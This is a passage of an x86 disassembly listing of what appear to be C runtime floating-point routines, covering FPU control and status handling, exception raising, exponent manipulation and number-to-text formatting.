mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_41172A: ; CODE XREF: sub_41157F+19Ej mov [eax], ecx loc_41172C: ; CODE XREF: sub_41157F+189j ; sub_41157F+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_411CAD lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call dword_41814C ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4117A6 and dword ptr [esi], 0FFFFFFFEh loc_4117A6: ; CODE XREF: sub_41157F+222j test byte ptr [eax+8], 8 jz short loc_4117AF and dword ptr [esi], 0FFFFFFFBh loc_4117AF: ; CODE XREF: sub_41157F+22Bj test byte ptr [eax+8], 4 jz short loc_4117B8 and dword ptr [esi], 0FFFFFFF7h loc_4117B8: ; CODE XREF: sub_41157F+234j test byte ptr [eax+8], 2 jz short loc_4117C1 and dword ptr [esi], 0FFFFFFEFh loc_4117C1: ; CODE XREF: sub_41157F+23Dj test [eax+8], bl jz short loc_4117C9 and dword ptr [esi], 0FFFFFFDFh loc_4117C9: ; CODE XREF: sub_41157F+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_4117FD dec ecx jz short loc_4117F1 dec ecx jz short loc_4117E7 dec ecx jnz short loc_4117FF or byte ptr [esi+1], 0Ch jmp short loc_4117FF ; --------------------------------------------------------------------------- loc_4117E7: ; CODE XREF: sub_41157F+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_4117F9 ; --------------------------------------------------------------------------- loc_4117F1: ; CODE XREF: sub_41157F+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_4117F9: ; CODE XREF: sub_41157F+270j mov [esi], ecx jmp short loc_4117FF ; --------------------------------------------------------------------------- loc_4117FD: ; CODE XREF: sub_41157F+257j and [esi], edx loc_4117FF: ; CODE XREF: sub_41157F+260j ; sub_41157F+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_41181F dec ecx jz short loc_411816 dec ecx jnz short loc_411828 and [esi], edx jmp short loc_411828 ; --------------------------------------------------------------------------- loc_411816: ; CODE XREF: sub_41157F+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_411826 ; --------------------------------------------------------------------------- loc_41181F: ; CODE XREF: sub_41157F+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_411826: ; CODE XREF: sub_41157F+29Ej mov [esi], ecx loc_411828: ; CODE XREF: sub_41157F+291j ; sub_41157F+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_41157F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411832 proc near ; CODE XREF: sub_4114E7+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_41185D test byte ptr [ebp+arg_8], bl jz short loc_41185D push ebx call sub_411CDF pop ecx and edi, 0FFFFFFF7h jmp loc_411A27 ; --------------------------------------------------------------------------- loc_41185D: ; CODE XREF: sub_411832+15j ; sub_411832+1Aj test al, 4 jz short loc_411877 test byte ptr [ebp+arg_8], 4 jz short loc_411877 push 4 call sub_411CDF pop ecx and edi, 0FFFFFFFBh jmp loc_411A27 ; --------------------------------------------------------------------------- loc_411877: ; CODE XREF: sub_411832+2Dj ; sub_411832+33j test al, bl jz loc_411951 test byte ptr [ebp+arg_8], 8 jz loc_411951 push 8 call sub_411CDF pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_411929 cmp ecx, 400h jz short loc_411901 cmp ecx, 800h jz short loc_4118D9 cmp ecx, eax jnz loc_411949 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4187A8 fld dbl_421DA0 fnstsw ax sahf ja short loc_4118D1 fchs loc_4118D1: ; CODE XREF: sub_411832+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_411947 ; --------------------------------------------------------------------------- loc_4118D9: ; CODE XREF: sub_411832+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4187A8 fnstsw ax sahf jbe short loc_4118F1 fld dbl_421D90 jmp short loc_4118F9 ; --------------------------------------------------------------------------- loc_4118F1: ; CODE XREF: sub_411832+B5j fld dbl_421DA0 fchs loc_4118F9: ; CODE XREF: sub_411832+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_411947 ; --------------------------------------------------------------------------- loc_411901: ; CODE XREF: sub_411832+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4187A8 fnstsw ax sahf jbe short loc_411919 fld dbl_421DA0 jmp short loc_411921 ; --------------------------------------------------------------------------- loc_411919: ; CODE XREF: sub_411832+DDj fld dbl_421D90 fchs loc_411921: ; CODE XREF: sub_411832+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_411947 ; --------------------------------------------------------------------------- loc_411929: ; CODE XREF: sub_411832+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4187A8 fld dbl_421D90 fnstsw ax sahf ja short loc_411941 fchs loc_411941: ; CODE XREF: sub_411832+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_411947: ; CODE XREF: sub_411832+A5j ; sub_411832+CDj ... fstp qword ptr [ecx] loc_411949: ; CODE XREF: sub_411832+81j and edi, 0FFFFFFFEh jmp loc_411A27 ; --------------------------------------------------------------------------- loc_411951: ; CODE XREF: sub_411832+47j ; sub_411832+51j test al, 2 jz loc_411A27 test byte ptr [ebp+arg_8], 10h jz loc_411A27 push esi xor esi, esi test al, 10h jz short loc_41196C mov esi, ebx loc_41196C: ; CODE XREF: sub_411832+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_4187A8 fnstsw ax sahf jz loc_411A15 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_411BDE mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4119B7 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_411A0B ; --------------------------------------------------------------------------- loc_4119B7: ; CODE XREF: sub_411832+17Aj fld [ebp+var_C] fcomp dbl_4187A8 fnstsw ax sahf jnb short loc_4119C9 mov edx, ebx jmp short loc_4119CB ; --------------------------------------------------------------------------- loc_4119C9: ; CODE XREF: sub_411832+191j xor edx, edx loc_4119CB: ; CODE XREF: sub_411832+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_4119FF sub eax, ecx loc_4119E2: ; CODE XREF: sub_411832+1CBj test byte ptr [ebp+var_C], bl jz short loc_4119ED test esi, esi jnz short loc_4119ED mov esi, ebx loc_4119ED: ; CODE XREF: sub_411832+1B3j ; sub_411832+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_4119F9 or byte ptr [ebp+var_C+3], 80h loc_4119F9: ; CODE XREF: sub_411832+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_4119E2 loc_4119FF: ; CODE XREF: sub_411832+1ACj test edx, edx jz short loc_411A0B fld [ebp+var_C] fchs fstp [ebp+var_C] loc_411A0B: ; CODE XREF: sub_411832+183j ; sub_411832+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_411A17 ; --------------------------------------------------------------------------- loc_411A15: ; CODE XREF: sub_411832+14Ej mov esi, ebx loc_411A17: ; CODE XREF: sub_411832+1E1j test esi, esi pop esi jz short loc_411A24 push 10h call sub_411CDF pop ecx loc_411A24: ; CODE XREF: sub_411832+1E8j and edi, 0FFFFFFFDh loc_411A27: ; CODE XREF: sub_411832+26j ; sub_411832+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_411A3E test byte ptr [ebp+arg_8], 20h jz short loc_411A3E push 20h call sub_411CDF pop ecx and edi, 0FFFFFFEFh loc_411A3E: ; CODE XREF: sub_411832+1F9j ; sub_411832+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_411832 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_411A49(int,int,int,int,int,int,double,int) sub_411A49 proc near ; CODE XREF: sub_411494+2Bp ; sub_4114E7+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_411AF7 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_411AB4 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_411CBC lea eax, [ebp+var_20] push eax call sub_414C8D add esp, 0Ch test eax, eax jnz short loc_411AAE push esi call sub_411AD1 pop ecx loc_411AAE: ; CODE XREF: sub_411A49+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_411AB4: ; CODE XREF: sub_411A49+14j push 0FFFFh push [ebp+arg_20] call sub_411CBC push [ebp+arg_0] call sub_411AD1 fld [ebp+arg_18] add esp, 0Ch leave retn sub_411A49 endp ; =============== S U B R O U T I N E ======================================= sub_411AD1 proc near ; CODE XREF: sub_4114E7+7Dp ; sub_411A49+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_411AEC jle short locret_411AF6 cmp eax, 3 jg short locret_411AF6 mov dword_481DBC, 22h retn ; --------------------------------------------------------------------------- loc_411AEC: ; CODE XREF: sub_411AD1+7j mov dword_481DBC, 21h locret_411AF6: ; CODE XREF: sub_411AD1+9j ; sub_411AD1+Ej retn sub_411AD1 endp ; =============== S U B R O U T I N E ======================================= sub_411AF7 proc near ; CODE XREF: sub_411A49+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_421CB8 loc_411AFE: ; CODE XREF: sub_411AF7+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_411B14 add eax, 8 inc ecx cmp eax, offset dbl_421D90 jl short loc_411AFE xor eax, eax retn ; --------------------------------------------------------------------------- loc_411B14: ; CODE XREF: sub_411AF7+Dj mov eax, off_421CBC[ecx*8] retn sub_411AF7 endp ; =============== S U B R O U T I N E ======================================= sub_411B1C proc near ; CODE XREF: sub_4114E7+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_411B28 push 5 jmp short loc_411B3E ; --------------------------------------------------------------------------- loc_411B28: ; CODE XREF: sub_411B1C+6j test al, 8 jz short loc_411B30 push 1 jmp short loc_411B3E ; --------------------------------------------------------------------------- loc_411B30: ; CODE XREF: sub_411B1C+Ej test al, 4 jz short loc_411B38 push 2 jmp short loc_411B3E ; --------------------------------------------------------------------------- loc_411B38: ; CODE XREF: sub_411B1C+16j test al, 1 jz short loc_411B40 push 3 loc_411B3E: ; CODE XREF: sub_411B1C+Aj ; sub_411B1C+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_411B40: ; CODE XREF: sub_411B1C+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_411B1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_411B49(double) sub_411B49 proc near ; CODE XREF: sub_40CDEA:loc_40CE70p ; sub_40CF33:loc_40CFB9p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_411B49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_411B5B(double,int) sub_411B5B proc near ; CODE XREF: sub_411BDE+82p ; sub_411BDE+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_411B5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411B84 proc near ; CODE XREF: sub_40CDEA+31p ; sub_40CF33+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_411B9B cmp [ebp+arg_0], edx jnz short loc_411BAD push 1 jmp short loc_411BD7 ; --------------------------------------------------------------------------- loc_411B9B: ; CODE XREF: sub_411B84+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_411BAD cmp [ebp+arg_0], edx jnz short loc_411BAD push 2 jmp short loc_411BD7 ; --------------------------------------------------------------------------- loc_411BAD: ; CODE XREF: sub_411B84+11j ; sub_411B84+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_411BC0 push 3 jmp short loc_411BD7 ; --------------------------------------------------------------------------- loc_411BC0: ; CODE XREF: sub_411B84+36j cmp cx, 7FF0h jnz short loc_411BDA test [ebp+arg_4], 7FFFFh jnz short loc_411BD5 cmp [ebp+arg_0], edx jz short loc_411BDA loc_411BD5: ; CODE XREF: sub_411B84+4Aj push 4 loc_411BD7: ; CODE XREF: sub_411B84+15j ; sub_411B84+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_411BDA: ; CODE XREF: sub_411B84+41j ; sub_411B84+4Fj xor eax, eax pop ebp retn sub_411B84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_411BDE(double,int) sub_411BDE proc near ; CODE XREF: sub_411832+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_4187A8 push esi fnstsw ax sahf jnz short loc_411BFE fldz xor esi, esi fstp [ebp+var_8] jmp loc_411C94 ; --------------------------------------------------------------------------- loc_411BFE: ; CODE XREF: sub_411BDE+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_411C6D test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_411C16 cmp dword ptr [ebp+arg_0], ecx jz short loc_411C6D loc_411C16: ; CODE XREF: sub_411BDE+31j fld [ebp+arg_0] fcomp dbl_4187A8 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_411C2E push 1 pop eax jmp short loc_411C30 ; --------------------------------------------------------------------------- loc_411C2E: ; CODE XREF: sub_411BDE+49j xor eax, eax loc_411C30: ; CODE XREF: sub_411BDE+4Ej ; sub_411BDE+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_411C49 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_411C43 or dword ptr [ebp+arg_0+4], 1 loc_411C43: ; CODE XREF: sub_411BDE+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_411C30 ; --------------------------------------------------------------------------- loc_411C49: ; CODE XREF: sub_411BDE+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_411C57 or byte ptr [ebp+arg_0+7], 80h loc_411C57: ; CODE XREF: sub_411BDE+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_411B5B fstp [ebp+var_8] add esp, 0Ch jmp short loc_411C94 ; --------------------------------------------------------------------------- loc_411C6D: ; CODE XREF: sub_411BDE+28j ; sub_411BDE+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_411B5B mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_411C94: ; CODE XREF: sub_411BDE+1Bj ; sub_411BDE+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_411BDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411C9F proc near ; CODE XREF: sub_41157F+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_411C9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411CAD proc near ; CODE XREF: sub_41157F+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_411CAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411CBC proc near ; CODE XREF: sub_40CDEA+13p ; sub_40CDEA+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_411CBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411CDF proc near ; CODE XREF: sub_411832+1Dp ; sub_411832+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_411CF6 fld tbyte_421DB8 fistp [ebp+arg_0] wait loc_411CF6: ; CODE XREF: sub_411CDF+Bj test cl, 8 jz short loc_411D0B fstsw ax fld tbyte_421DB8 fstp [ebp+var_8] wait fstsw ax loc_411D0B: ; CODE XREF: sub_411CDF+1Aj test cl, 10h jz short loc_411D1A fld tbyte_421DC4 fstp [ebp+var_8] wait loc_411D1A: ; CODE XREF: sub_411CDF+2Fj test cl, 4 jz short loc_411D28 fldz fld1 fdivrp st(1), st fstp st wait loc_411D28: ; CODE XREF: sub_411CDF+3Ej test cl, 20h jz short locret_411D33 fldpi fstp [ebp+var_8] wait locret_411D33: ; CODE XREF: sub_411CDF+4Cj leave retn sub_411CDF endp ; =============== S U B R O U T I N E ======================================= sub_411D35 proc near ; CODE XREF: sub_40CEB9+Fp push 30000h push 10000h call sub_414CC5 pop ecx pop ecx retn sub_411D35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D47 proc near ; CODE XREF: sub_411D85:loc_411DA9j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_4187B8 fstp [ebp+var_8] fld dbl_4187B0 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_418638 fnstsw ax sahf jbe short loc_411D81 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_411D81: ; CODE XREF: sub_411D47+33j xor eax, eax leave retn sub_411D47 endp ; =============== S U B R O U T I N E ======================================= sub_411D85 proc near ; CODE XREF: sub_40CEB9+5p push offset aKernel32 ; "KERNEL32" call dword_418094 ; GetModuleHandleA test eax, eax jz short loc_411DA9 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call dword_418090 ; GetProcAddress test eax, eax jz short loc_411DA9 push 0 call eax ; sub_40CEB9 retn ; --------------------------------------------------------------------------- loc_411DA9: ; CODE XREF: sub_411D85+Dj ; sub_411D85+1Dj jmp sub_411D47 sub_411D85 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_411DAE proc near ; CODE XREF: sub_40EDD8+3CBp ; DATA XREF: sub_40CED1+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_40E530 cmp eax, 65h pop ecx jz short loc_411DEE loc_411DC2: ; CODE XREF: sub_411DAE+3Ej inc esi cmp dword_422004, 1 jle short loc_411DDB movsx eax, byte ptr [esi] push 4 push eax call sub_412B49 pop ecx pop ecx jmp short loc_411DEA ; --------------------------------------------------------------------------- loc_411DDB: ; CODE XREF: sub_411DAE+1Cj movsx eax, byte ptr [esi] mov ecx, off_421DF8 mov al, [ecx+eax*2] and eax, 4 loc_411DEA: ; CODE XREF: sub_411DAE+2Bj test eax, eax jnz short loc_411DC2 loc_411DEE: ; CODE XREF: sub_411DAE+12j mov cl, byte_422008 mov al, [esi] mov [esi], cl inc esi loc_411DF9: ; CODE XREF: sub_411DAE+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_411DF9 pop esi retn sub_411DAE endp ; =============== S U B R O U T I N E ======================================= sub_411E08 proc near ; CODE XREF: sub_40EDD8+3E2p ; DATA XREF: sub_40CED1+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_422008 mov cl, [eax] test cl, cl jz short loc_411E24 loc_411E18: ; CODE XREF: sub_411E08+1Aj cmp cl, dl jz short loc_411E24 mov cl, [eax+1] inc eax test cl, cl jnz short loc_411E18 loc_411E24: ; CODE XREF: sub_411E08+Ej ; sub_411E08+12j mov cl, [eax] inc eax test cl, cl jz short locret_411E55 loc_411E2B: ; CODE XREF: sub_411E08+34j mov cl, [eax] test cl, cl jz short loc_411E3E cmp cl, 65h jz short loc_411E3E cmp cl, 45h jz short loc_411E3E inc eax jmp short loc_411E2B ; --------------------------------------------------------------------------- loc_411E3E: ; CODE XREF: sub_411E08+27j ; sub_411E08+2Cj ... mov ecx, eax loc_411E40: ; CODE XREF: sub_411E08+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_411E40 cmp [eax], dl jnz short loc_411E4B dec eax loc_411E4B: ; CODE XREF: sub_411E08+40j ; sub_411E08+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_411E4B locret_411E55: ; CODE XREF: sub_411E08+21j retn sub_411E08 endp ; =============== S U B R O U T I N E ======================================= sub_411E56 proc near ; DATA XREF: sub_40CED1+28o ; .nsp0:off_421DE0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_4187A8 fnstsw ax sahf jb short loc_411E6B push 1 pop eax retn ; --------------------------------------------------------------------------- loc_411E6B: ; CODE XREF: sub_411E56+Fj xor eax, eax retn sub_411E56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411E6E proc near ; CODE XREF: sub_40F5E2+430p ; DATA XREF: sub_40CED1+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_411E97 lea eax, [ebp+var_8] push eax call sub_415188 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_411E97: ; CODE XREF: sub_411E6E+Cj lea eax, [ebp+arg_8] push eax call sub_4151B5 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_411E6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411EAC proc near ; CODE XREF: sub_412129+17p ; sub_412173+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_481E24, 0 push ebx push esi jz short loc_411EE1 mov ebx, [ebp+arg_8] mov eax, dword_481E20 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_4121C4 pop ecx pop ecx jmp short loc_411F19 ; --------------------------------------------------------------------------- loc_411EE1: ; CODE XREF: sub_411EAC+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_415259 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_4151E2 add esp, 14h loc_411F19: ; CODE XREF: sub_411EAC+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_411F25 mov byte ptr [eax], 2Dh inc eax loc_411F25: ; CODE XREF: sub_411EAC+73j test ebx, ebx jle short loc_411F3D mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_422008 mov eax, edi pop edi mov [eax], cl loc_411F3D: ; CODE XREF: sub_411EAC+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_481E24, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_40E3C0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_411F64 mov byte ptr [ecx], 45h loc_411F64: ; CODE XREF: sub_411EAC+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_411FA9 mov ebx, [esi+4] dec ebx jns short loc_411F78 neg ebx mov byte ptr [ecx], 2Dh loc_411F78: ; CODE XREF: sub_411EAC+C5j inc ecx cmp ebx, 64h jl short loc_411F8F mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_411F8F: ; CODE XREF: sub_411EAC+D0j inc ecx cmp ebx, 0Ah jl short loc_411FA6 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_411FA6: ; CODE XREF: sub_411EAC+E7j add [ecx+1], bl loc_411FA9: ; CODE XREF: sub_411EAC+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_411EAC endp ; =============== S U B R O U T I N E ======================================= sub_411FB0 proc near ; CODE XREF: sub_412150+13p ; sub_412173+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_481E24, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_411FEB mov eax, dword_481E28 mov ebx, [esp+10h+arg_8] mov esi, dword_481E20 cmp eax, ebx jnz short loc_41201B xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_41201B ; --------------------------------------------------------------------------- loc_411FEB: ; CODE XREF: sub_411FB0+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_415259 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_4151E2 add esp, 14h loc_41201B: ; CODE XREF: sub_411FB0+22j ; sub_411FB0+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_412029 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_412029: ; CODE XREF: sub_411FB0+70j mov eax, [esi+4] test eax, eax jg short loc_412040 push 1 push edi call sub_4121C4 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_412042 ; --------------------------------------------------------------------------- loc_412040: ; CODE XREF: sub_411FB0+7Ej add edi, eax loc_412042: ; CODE XREF: sub_411FB0+8Ej test ebx, ebx jle short loc_412087 push 1 push edi call sub_4121C4 mov al, byte_422008 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_412087 cmp byte_481E24, 0 jz short loc_41206C neg esi jmp short loc_412072 ; --------------------------------------------------------------------------- loc_41206C: ; CODE XREF: sub_411FB0+B6j neg esi cmp ebx, esi jl short loc_412074 loc_412072: ; CODE XREF: sub_411FB0+BAj mov ebx, esi 